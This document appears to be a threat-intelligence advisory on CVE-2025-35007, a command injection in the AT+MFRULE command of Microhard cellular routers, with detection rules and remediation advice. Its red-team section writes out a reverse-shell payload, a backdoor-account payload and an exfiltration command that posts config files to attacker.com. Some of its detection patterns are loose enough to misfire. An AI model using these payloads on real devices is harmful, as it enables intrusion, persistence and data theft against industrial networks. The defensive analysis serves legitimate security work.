CVE-2025-35007

Executive Summary

CVE-2025-35007 is a post-authentication command injection vulnerability in the AT+MFRULE command of Microhard BulletLTE-NA2 and IPn4Gii-NA2 devices. The flaw, classified as CWE-88 (Improper Neutralization of Argument Delimiters in a Command), allows an authenticated attacker to inject arbitrary operating system commands, leading to privilege escalation. With a CVSS score of 7.1 (High), the vulnerability impacts confidentiality and integrity but not availability. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. The vendor has not released a fix, making affected devices high-value targets for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware in Microhard cellular routers and modems, which are often integrated into industrial IoT, SCADA, and critical infrastructure deployments. Supply chain risk arises from the lack of a vendor patch and the difficulty of updating embedded devices in the field.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Base Score: 7.1 (High)
• Attack Vector (AV): Local – requires physical or serial/SSH access to the device.
• Attack Complexity (AC): Low – no special conditions needed.
• Privileges Required (PR): Low – attacker must already have a valid user session.
• User Interaction (UI): None – no user action required beyond authentication.
• Scope (S): Unchanged – exploitation does not cross trust boundaries.
• Confidentiality (C): High – full read access to device filesystem and network traffic.
• Integrity (I): High – full write access, can modify firmware or configuration.
• Availability (A): None – does not directly cause denial of service.

Threat Level: High for targeted attacks against critical infrastructure. Low for mass exploitation due to local access requirement and low EPSS score.

Deep Dive & Mechanics

The vulnerability resides in the AT command parser of Microhard’s cellular modules. The AT+MFRULE command is used to manage firewall rules. Due to improper neutralization of argument delimiters (CWE-88), an attacker can inject shell metacharacters (e.g., ;, |, `, $()) into the command parameters. When the device processes the command, the injected payload is executed with the privileges of the modem daemon, typically running as root.

Attack Flow:

1. Attacker gains low-privilege access via default credentials, SSH, or serial console.
2. Attacker sends a crafted AT+MFRULE command with embedded shell commands.
3. The device’s AT parser fails to sanitize the input, passing it directly to a system shell.
4. The injected commands execute with elevated privileges, allowing full device compromise.

Root Cause: The firmware does not validate or escape shell metacharacters in the AT+MFRULE command arguments. This is a classic argument injection flaw where the command interpreter treats user-supplied data as part of the command syntax.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C):

void handle_at_mfrule(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables %s", input);
    system(cmd);  // Direct injection point
}

Patched Code (Conceptual C):

void handle_at_mfrule(char *input) {
    // Sanitize input: remove shell metacharacters
    char *sanitized = sanitize_input(input);
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables %s", sanitized);
    system(cmd);
}

char* sanitize_input(char *input) {
    // Remove or escape ; | ` $ ( ) { } < > & newline
    // Use a whitelist of allowed characters
    for (int i = 0; input[i]; i++) {
        if (!isalnum(input[i]) && input[i] != ' ' && input[i] != '-') {
            input[i] = '_';  // Replace dangerous chars
        }
    }
    return input;
}

Note: No official patch has been released. The above is a recommended fix pattern.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Microhard BulletLTE-NA2 or IPn4Gii-NA2 device.
• Valid credentials (e.g., admin/admin or via SSH key).
• Serial console or SSH session.

Exploit Steps:

1. Connect to the device via SSH or serial console.
2. Authenticate with low-privilege credentials.
3. Send a crafted AT command to inject a reverse shell:

# Example: Inject command to create a reverse shell
AT+MFRULE="; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"

4. On your attacker machine, listen for the reverse shell:

nc -lvnp 4444

5. Once connected, escalate to root (if not already) and maintain persistence.

Alternative Payloads:

• Add a backdoor user: AT+MFRULE="; useradd -m -G root attacker; echo 'attacker:password' | chpasswd"
• Exfiltrate config: AT+MFRULE="; cat /etc/config/* > /tmp/exfil; curl -X POST -d @/tmp/exfil http://attacker.com/steal"

Blue Team

Detection Steps:

1. Monitor serial/SSH logs for unusual AT command sequences containing shell metacharacters.
2. Deploy network monitoring for outbound connections from the device to unknown IPs on high ports (e.g., 4444).
3. Check for unexpected processes spawned by the modem daemon:

ps aux | grep -E "(bash|sh|nc|python|perl)" | grep -v grep

4. Verify integrity of firewall rules:

iptables -L -n -v | grep -v "Chain\|target"

Honeypot Setup:

• Deploy a Microhard device in a segmented lab network.
• Log all AT commands and system calls using strace on the modem process.
• Alert on any command containing ;, |, `, or $().

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from the device to IPs on ports 4444, 1337, 31337, or 8080.
• DNS queries to suspicious domains (e.g., attacker.com, c2.example.net).

Host IOCs:

• Unexpected processes: /bin/bash, /bin/sh, /usr/bin/nc, /usr/bin/python.
• New user accounts (e.g., attacker, backdoor).
• Modified firewall rules (e.g., iptables -A INPUT -j ACCEPT).
• Files in /tmp/ with names like exfil, payload, shell.

Log IOCs:

• Serial/SSH logs showing AT+MFRULE commands with shell metacharacters.
• Syslog entries: iptables: unknown option or sh: syntax error.

Detection Engineering

YARA Rule

rule CVE_2025_35007_Microhard_Command_Injection {
    meta:
        description = "Detects command injection attempts in Microhard AT+MFRULE commands"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35007"
    strings:
        $at_cmd = "AT+MFRULE" nocase
        $shell_meta1 = ";" ascii wide
        $shell_meta2 = "|" ascii wide
        $shell_meta3 = "`" ascii wide
        $shell_meta4 = "$(" ascii wide
        $shell_meta5 = "bash" ascii wide
        $shell_meta6 = "sh" ascii wide
        $shell_meta7 = "nc" ascii wide
    condition:
        $at_cmd and (any of ($shell_meta*) or any of ($shell_meta5, $shell_meta6, $shell_meta7))
}

Sigma Rule

title: Microhard AT+MFRULE Command Injection Attempt
id: 8f4c3b2a-1d5e-4f7c-9a8b-0c1d2e3f4a5b
status: experimental
description: Detects attempts to exploit CVE-2025-35007 via serial or SSH logs
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: auth
detection:
    selection:
        EventID: 5580  # Example: SSH command log
        CommandLine|contains|all:
            - 'AT+MFRULE'
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in AT commands (unlikely)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2025-35007 Microhard AT+MFRULE Command Injection via SSH"; flow:to_server,established; content:"AT+MFRULE"; nocase; pcre:"/(;|\||`|\$\(|bash|sh|nc)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Disable SSH and serial console access to authorized personnel only. Use strong passwords and key-based authentication.
2. Network Segmentation: Place affected devices in isolated VLANs with strict egress filtering. Block outbound connections to unknown IPs.
3. Monitor Logs: Enable detailed logging of all AT commands and review for suspicious patterns.
4. Firmware Update: Check Microhard’s website regularly for a patch. If available, apply immediately.

Long-Term Fix:

• Vendor must release a firmware update that sanitizes input to the AT+MFRULE command.
• Implement input validation using a whitelist of allowed characters (alphanumeric, spaces, hyphens).
• Replace system() calls with execve() and pass arguments as an array to prevent shell interpretation.

Workaround:

• If patching is not possible, disable the AT+MFRULE command by modifying the firmware’s command parser (requires recompilation).
• Use a hardware firewall to inspect and block malicious AT commands at the network level.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-35007